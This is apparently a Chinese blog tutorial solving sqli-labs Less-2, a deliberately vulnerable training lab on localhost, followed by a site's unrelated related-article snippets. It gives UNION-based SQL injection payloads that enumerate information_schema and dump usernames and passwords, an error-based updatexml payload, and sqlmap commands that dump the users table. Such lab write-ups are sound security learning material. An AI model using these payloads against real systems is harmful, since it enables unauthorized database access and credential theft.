sqli-labs:Less-2关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:数值型
  • 提示:参数id无需考虑闭合问题,相对简单

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-2/,只需要将下面的sql语句粘贴即可。

2.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


2.2. 判断字段数⚡

?id=1 order by 4
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述
本关卡在sql语句后是不需要加--+注释符,是否加--+注释符详细如下:

2.2.1. 必须使用--+的情况
场景特征示例必要性分析
URL参数注入?id=1'--+URL中的空格会被编码,+确保注释生效
闭合单引号admin'--+避免后续SQL语法错误
过滤空格环境1'/**/OR/**/1=1--+WAF可能过滤空格但允许+
2.2.2. 可不使用的情况
场景特征示例原因分析
数字型注入?id=1 OR 1=1无需闭合引号
报错注入?id=1 AND updatexml(1,concat(0x7e,(SELECT@@version)),1)语句自包含无需截断
POST表单注入username=admin'--表单数据不涉及URL编码

2.3. 确定回显位⚡

?id=-1 union select 1,2,3
  • -1:使前查询无结果
  • union select:联合查询回显位

在这里插入图片描述


2.4. 获取基础信息⚡

?id=-1 union select 1,database(),user()

在这里插入图片描述


2.5. 获取表名⚡

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'

在这里插入图片描述


2.6. 获取字段⚡

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

在这里插入图片描述


2.7. 获取数据⚡

?id=-1 union select 1,group_concat(username),group_concat(password) from users

在这里插入图片描述


2.8. 参数汇总表⭐

参数作用示例
order by判断字段数order by 4
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-2/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-2/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
!https://via.placeholder.com/600x300?text=SQLMap截图
命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

如有不懂,关卡1的解析更为详细,相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209

  1. 注入类型:数值型
  2. 核心步骤:判字段→找回显→爆库→爆表→爆数据
  3. 工具对比:手工注入适合学习原理,SQLMap适合快速验证

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/91297.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/91297.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

TRAE 软件使用攻略

摘要TRAE 是一款集成了人工智能技术的开发工具,旨在为开发者提供高效、智能的编程体验。它包括三个主要组件:TRAE IDE、TRAE SOLO 和 TRAE 插件。无论是编程新手还是经验丰富的开发者,都可以通过 TRAE 提高工作效率和代码质量。标题一&#x…

将开发的软件安装到手机:环境配置、android studio设置、命令行操作

将开发的软件安装到手机环境配置android studio4.1.2安装命令行操作环境配置 注意:所有的工具的版本都需要根据当下自己的软件需要的。 Node:14.16.0 (如果安装了npm,可以使用npm进行当前使用node版本的更改) &#x…

Jmeter 命令行压测、HTML 报告、Jenkins 配置目录

Jmeter 命令行压测 & 生成 HTML 测试报告 通常 Jmeter 的 GUI 模式仅用于调试,在实际的压测项目中,为了让压测机有更好的性能,多用 Jmeter 命令行来进行压测。 官方:Jmeter 最佳实践 同时,JMeter 也支持生成 HT…

记录几个SystemVerilog的语法——覆盖率

1. 前言 通常说的覆盖率有两种类型:code coverage(代码覆盖率)和functional coverage(功能覆盖率)。代码覆盖率是使用EDA工具自动从设计代码里提取出来的,功能覆盖率是用户指定的,用于衡量测试设计意图和功能进展。因此,功能覆盖…

深度学习基础—2

第一章、参数初始化 我们在构建网络之后,网络中的参数是需要初始化的。我们需要初始化的参数主要有权重和偏置,偏重一般初始化为 0 即可,而对权重的初始化则会更加重要,我们介绍在 PyTorch 中为神经网络进行初始化的方法。 1.1 常…

PyTorch深度学习快速入门学习总结(三)

现有网络模型的使用与调整 VGG — Torchvision 0.22 documentation VGG 模型是由牛津大学牛津大学(Oxford University)的 Visual Geometry Group 于 2014 年提出的卷积神经网络模型,在 ImageNet 图像分类挑战赛中表现优异,以其简…

是否需要买一个fpga开发板?

纠结要不要买个 FPGA 开发板?真心建议搞一块,尤其是想在数字电路、嵌入式领域扎根的同学,这玩意儿可不是可有可无的摆设。入门级的选择不少,全新的像 Cyclone IV、Artix 7 系列,几百块就能拿下,要是去二手平…

【模型细节】MHSA:多头自注意力 (Multi-head Self Attention) 详细解释,使用 PyTorch代码示例说明

MHSA:使用 PyTorch 实现的多头自注意力 (Multi-head Self Attention) 代码示例,包含详细注释说明:线性投影 通过三个线性层分别生成查询(Q)、键(K)、值(V)矩阵: QWq⋅x,KWk⋅x,VWv⋅xQ W_qx, \quad K W_kx, \quad V W_vxQWq​⋅x,KWk​⋅x…

PGSQL运维优化:提升vacuum执行时间观测能力

本文是 IvorySQL 2025 生态大会暨 PostgreSQL 高峰论坛上的演讲内容,作者:NKYoung。 6 月底济南召开的 HOW2025 IvorySQL 生态大会上,我在内核论坛分享了“提升 vacuum 时间观测能力”的主题,提出了新增统计信息的方法&#xff0c…

神奇的数据跳变

目的 上周遇上了一个非常奇怪的问题,就是软件的数据在跳变,本来数据应该是158吧,数据一会变成10,一会又变成158,数据在不断地跳变,那是怎么回事?? 这个问题非常非常的神奇,让人感觉太不可思议了。 这是这段时间,我遇上的最神奇的事了,没有之一,最神奇的事,下面…

【跨国数仓迁移最佳实践3】资源消耗减少50%!解析跨国数仓迁移至MaxCompute背后的性能优化技术

本系列文章将围绕东南亚头部科技集团的真实迁移历程展开,逐步拆解 BigQuery 迁移至 MaxCompute 过程中的关键挑战与技术创新。本篇为第3篇,解析跨国数仓迁移背后的性能优化技术。注:客户背景为东南亚头部科技集团,文中用 GoTerra …

【MySQL集群架构与实践3】使用Dcoker实现读写分离

目录 一. 在Docker中安装ShardingSphere 二 实践:读写分离 2.1 应用场景 2.2 架构图 2.3 服务器规划 2.4 启动数据库服务器 2.5. 配置读写分离 2.6 日志配置 2.7 重启ShardingSphere 2.8 测试 2.9. 负载均衡 2.9.1. 随机负载均衡算法示例 2.9.2. 轮询负…

maven的阿里云镜像地址

在 Maven 中配置阿里云镜像可以加速依赖包的下载,尤其是国内环境下效果明显。以下是阿里云 Maven 镜像的配置方式: 配置步骤:找到 Maven 的配置文件 settings.xml 全局配置:位于 Maven 安装目录的 conf/settings.xml用户级配置&am…

大语言模型信息抽取系统解析

这段代码实现了一个基于大语言模型的信息抽取系统,能够从金融和新闻类文本中提取结构化信息。下面我将详细解析整个代码的结构和功能。1. 代码整体结构代码主要分为以下几个部分:模式定义:定义不同领域(金融、新闻)需要抽取的实体类型示例数据…

Next实习项目总结串联讲解(一)

下面是一些 Next.js 前端面试中常见且具深度的问题,按照逻辑模块整理,同时提供示范回答建议,便于你条理清晰地展示理解与实践经验。 ✅ 面试讲述结构建议 先讲 Next.js 是什么,它为什么比 React 更高级。(支持 SSR/SSG/ISR,提升S…

React开发依赖分析

1. React小案例: 在界面显示一个文本:Hello World点击按钮后,文本改为为:Hello React 2. React开发依赖 2.1. 开发React必须依赖三个库: 2.1.1. react: 包含react所必须的核心代码2.1.2. react-dom: react渲染在不同平…

工具(一)Cursor

目录 一、介绍 二、如何打开文件 1、从idea跳转文件 2、单独打开项目 三、常见使用 1、Chat 窗口 Ask 对话模式 1.1、使用技巧 1.2 发送和使用 codebase 发送区别 1.3、问题快速修复 2、Chat 窗口 Agent 对话模式 2.1、agent模式功能 2.2、Chat 窗口回滚&撤销 2.3…

Prompt编写规范指引

1、📖 引言 随着人工智能生成内容(AIGC)技术的快速发展,越来越多的开发者开始利用AIGC工具来辅助代码编写。然而,如何编写有效的提示词(Prompt)以引导AIGC生成高质量的代码,成为了许…

自我学习----绘制Mark点

在PCB的Layout过程中我们需在光板上放置Mark点以方便生产时的光学定位(三点定位);我个人Mark点绘制步骤如下: layer层:1.放置直径1mm的焊盘(无网络连接) 2.放置一个圆直径2mm,圆心与…